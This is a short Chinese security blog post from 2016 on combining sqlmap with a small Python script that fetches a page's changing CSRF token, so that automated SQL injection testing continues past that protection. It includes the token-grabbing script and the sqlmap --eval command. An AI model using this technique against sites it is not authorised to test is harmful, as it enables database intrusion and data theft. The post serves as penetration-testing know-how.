技术笔记

csrf配合sqlmap绕过token

字号+ 作者:蜗蜗侠 来源:未知 2016-11-25 20:08 我要评论( )

csrf token,每次提交一个页面都会改变的值。 网上很多教程都说burp结合sqlmap绕过csrf,个人感觉很麻烦,后看到外国牛人的writeup,介绍了sqlmap配合脚本脚本绕过......

csrf token,每次提交一个页面都会改变的值。 网上很多教程都说burp结合sqlmap绕过csrf,个人感觉很麻烦,后看到外国牛人的writeup,介绍了sqlmap配合脚本脚本绕过csrf 的限制,感觉比结合burp方便。首先我们需要写一个脚本,先获取csrf的值,然后结合sqlmap的--eval参数就可以绕过csrf。原理其实很 简单,分两步走,第一步获取页面csrf的值,然后以获得的值加入header中结合sqlmap再加载漏洞脚本测试网站。

比如下面是获取csrf的Python脚本getCsrf.py

[html] view plain copy 在CODE上查看代码片派生到我的代码片
  1. import urllib2  
  2. import re  
  3.   
  4. def get_csrf():  
  5. # Load a page to generate a CSRF token  
  6. opener = urllib2.build_opener()  
  7. opener.addheaders.append(('Cookie', 'PHPSESSID=<insert Sycamore session id>'))  
  8. page = opener.open('http://<insert host>/blog.php?view=2').read()  
  9.   
  10. # Extract the token  
  11. match = re.search(r"window\.csrf = '(.+)';", page)  
  12. return match.group(1)  

把这个脚本放在sqlmap同目录下,kali是在/usr/share/sqlmap/

然后抓取页面的包,命名为test.txt

运行命令(抓的包csrf值不用改,sqlmap会自动加载脚本替换csrf的值)

[html] view plain copy 在CODE上查看代码片派生到我的代码片
  1. sqlmap -r test.txt --eval="import getCsrf;csrf=getCsrf.get_csrf()"  

其他命令就和普通sqlmap用法一样,比如-p指定参数等。


本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/Note/292.html

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
  • SQLMAP tamper WAF 绕过脚本列表注释

    SQLMAP tamper WAF 绕过脚本列表注释

    2016-11-25 10:37

  • 11种常见SQLMAP使用方法详解

    11种常见SQLMAP使用方法详解

    2016-11-25 10:35

网友点评
暂时未开启评论功能~